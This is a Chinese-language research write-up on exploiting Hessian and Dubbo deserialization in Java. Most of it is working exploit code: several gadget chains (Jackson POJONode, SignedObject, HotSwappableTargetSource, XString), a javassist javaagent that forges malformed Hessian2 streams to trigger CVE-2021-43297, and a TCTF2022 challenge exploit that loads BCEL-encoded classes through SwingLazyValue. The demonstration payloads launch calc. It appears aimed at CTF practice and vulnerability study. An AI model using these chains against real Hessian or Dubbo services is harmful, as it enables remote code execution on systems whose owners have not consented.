关于版本

hession和hession2都在同一个依赖里,就只有类名不同。

<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

dubbo用的是alibaba版的hession

image-20231007144836618.png

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.0</version>
</dependency>

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.HessianInput;
import com.alibaba.com.caucho.hessian.io.HessianOutput;

原生hession的反序列化利用

原理

可利用的反序列化入口:反序列化对象最外层是HashMap时

HessianInput.readObject
SerializeFactory.readMap
_hashMapDeserializer = new MapDeserializer(HashMap.class);
return _hashMapDeserializer.readMap(in);
map.put(in.readObject(), in.readObject()); //入口就在这里

XString+Jackson+SignedObject

map.put->HotSwappableTargetSource.equals->XString.equals-> POJONode.toString->getter

至于为什么不直接调TemplateImpl的getter,因为TemplateImpl的_tfactorytransient的,hession反序列化之后他就是null。

至于为什么jdk原生反序列化可以,因为TemplateImpl的readObject的最后一行有_tfactory = new TransformerFactoryImpl();

exp1,用HotSwappableTargetSource

public static <T> byte[] serialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(os);
output.writeObject(t);
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}

public static <T> T deserialize(byte[] data) {
if (data == null) {
return null;
}
Object result = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(data);
HessianInput input = new HessianInput(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return (T) result;
}
public static void main(String[] args) throws Exception{

HashMap<Object, Object> map = new HashMap<>();

POJONode node = new POJONode(Gadget.getTemplateImpl("calc"));

HotSwappableTargetSource hs1 = Gadget.getHotSwappableTargetSource(node);

map.put(hs1,"1");

HotSwappableTargetSource hs2 = Gadget.getHotSwappableTargetSource(1);

map.put(hs2,"1");

Util.setFieldValue(hs2,"target",new XString("1"));

deserialize(serialize(map));

}

exp2,不用HotSwappableTargetSource

public static void main2() throws Exception{
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
HashMap<Object, Object> map3 = new HashMap<>();

POJONode node1 = new POJONode(Gadget.getTemplateImpl("calc"));

POJONode node2 = new POJONode(Gadget.getSingnedObject(node1));
/*
要注意下面3个map put的顺序。有时候会调用到 POJONode.equals
*/

map2.put("yy",new XString("1"));
map2.put("zZ",node2);

map3.put(map1,"1");
map3.put(map2,"2");

map1.put("yy",node2);
map1.put("zZ",new XString("1"));

deserialize(serialize(map3));
}

Rome //TODO

JdbcRowSetImpl //TODO

hession和hession2的序列化差异?

上面两个exp的serialize方法,给hession用可以,但是换成hession2就不行。(测试版本4.0.38,4.0.66都会)。

image-20231007150922027.png
debug发现,序列化数据是空的。

image-20231007151028966.png
要换成这种才行:

public static <T> byte[] serialize(T t) {
byte[] data = null;
try {
Hessian2Output output = new Hessian2Output();
output.writeObject(t);
data = (byte[])Util.getFieldValue(output,"_buffer");
} catch (Exception e) {
e.printStackTrace();
}
return data;
}

alibaba hession

原生hessian底层反序列化时,用的unsafe创建对象,与构造函数无关。

alibaba改写的hessian反序列化时,用的JavaDeserializer,先调用构造方法,属性传null,创建出对象后再设置属性。

因为HotSwappableTargetSource和SignedObject构造方法传参null会报错,所以这两个用不了。

下面是alibaba的hessian1,用上面的exp。报错'java.security.SignedObject' could not be instantiated,原因就是创建SignedObject对象时构造器传参null。

image-20231008100846193.png

引发异常导致toString CVE-2021-43297

测试版本:下面两个都行

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.0</version>
</dependency>

<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>

大致原理:

当读取序列化数据时,读取到一个tag,表示下一个数据是boolean数据。若手动修改该数据,使他不是boolean值,就会进入expect方法,在expect方法中,对这个脏数据readObject,然后再toString。

所以构造序列化数据做法就是将触发toString的source对象覆盖到那个boolean值的位置。

本来想尝试010手改序列化数据,为此专门debug他的序列化流程和反序列化流程。最后用简单demo对象手改成功了,但是复杂一点的就难弄,所以得自动化。

javaagent构造畸形序列化数据

大致流程:给Hessian2Output类添加一个HashMap属性hellomap,用来存放source对象。用javaassist修改Hessian2OutputwriteBoolean方法,从hellomap取出对象写入,而不写正常的boolean数据。

使用时随便序列化一个含有boolean属性的对象,把source对象送进hellomap即可。writeBoolean写入恶意对象的操作只执行一次,才能不干扰其他序列化。

MyAgent

package example;

import java.lang.instrument.Instrumentation;

public class MyAgent {

public static void premain(String agentArgs, Instrumentation inst) {

inst.addTransformer(new MyClassFileTransformer(),true);

}
}

MyClassFileTransformer

public class MyClassFileTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){

String target2 = "com.alibaba.com.caucho.hessian.io.Hessian2Output";

if (className2.equals(target2)) {
System.out.println("Find the Inject Class: "+target2);
ClassPool pool = ClassPool.getDefault();
try {

CtClass c = pool.getCtClass(className2);
System.out.println("hhhh");
CtMethod ctMethod = c.getDeclaredMethod("writeBoolean");

CtClass ctClass = pool.getCtClass("java.util.HashMap");
CtField ctField = new CtField(ctClass,"hellomap",c);

c.addField(ctField);
ctMethod.setBody("{\n" +
" if (SIZE < _offset + 16) flush();\n" +
"\n" +
" if(hellomap!=null && hellomap.get(\"flag\")!=null){\n" +
"hellomap.remove(\"flag\");" +
"writeObject(hellomap.get(\"value\"));\n" +
" }else{\n" +
" if ($1)\n" +
" _buffer[_offset++] = (byte) 'T';\n" +
" else\n" +
" _buffer[_offset++] = (byte) 'F';\n" +
" }\n" +
"\n" +
"}");


byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}

}

序列化方法改为:

public static <T> byte[] badSerialize(T t,Object source) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);

HashMap<Object, Object> map = new HashMap<>();
map.put("flag",1);
map.put("value",source);

Util.setFieldValue(output,"hellomap",map);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(t);

data = (byte[])Util.getFieldValue(output,"_buffer");
} catch (Exception e) {
e.printStackTrace();
}
return data;
}

ToStringBean

public class ToStringBean implements Serializable {

@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "1";
}
}

Bool

public class Bool implements Serializable {

String name = "123";
boolean sex = true;
String addr = "addrrrrr";

}

Main

  public static void main(String[] args) throws Exception{
deserialize(badSerialize(new Bool(),new ToStringBean()));
}

运行可弹计算器,说明触发了ToStringBeande的toString

TCTF2022 Hessian-onlyJdk

hessian + 原生jdk反序列化

https://boogipop.com/2023/03/21/TCTF2022%20_%20Hessian-onlyJdk/

考点:

hessian引异常触发toString

PKCS9Attributes.toString -> UIDefaults.get ->SwingLazyValue.createValue -> invoke (任意类的public static 方法)

exp

  public static void main(String[] args) throws Exception{

JavaClass javaClass = Repository.lookupClass(Evill.class);
String encode = Utility.encode(javaClass.getBytes(), true);
String payload = "$$BCEL$$"+encode;

PKCS9Attributes s = Util.createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();

uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

Util.setFieldValue(s,"attributes",uiDefaults);

//只是借用一下Hessian2Input的boolean属性,没别的作用。
Hessian2Input hessian2Input = new Hessian2Input();

deserialize(badSerialize(hessian2Input,s));

}

参考链接

https://goodapple.top/archives/1193

https://pupil857.github.io/2022/12/08/NCTF2022-%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/

https://boogipop.com/2023/03/21/TCTF2022%20_%20Hessian-onlyJdk/

https://www.cnblogs.com/kingbridge/articles/16717030.html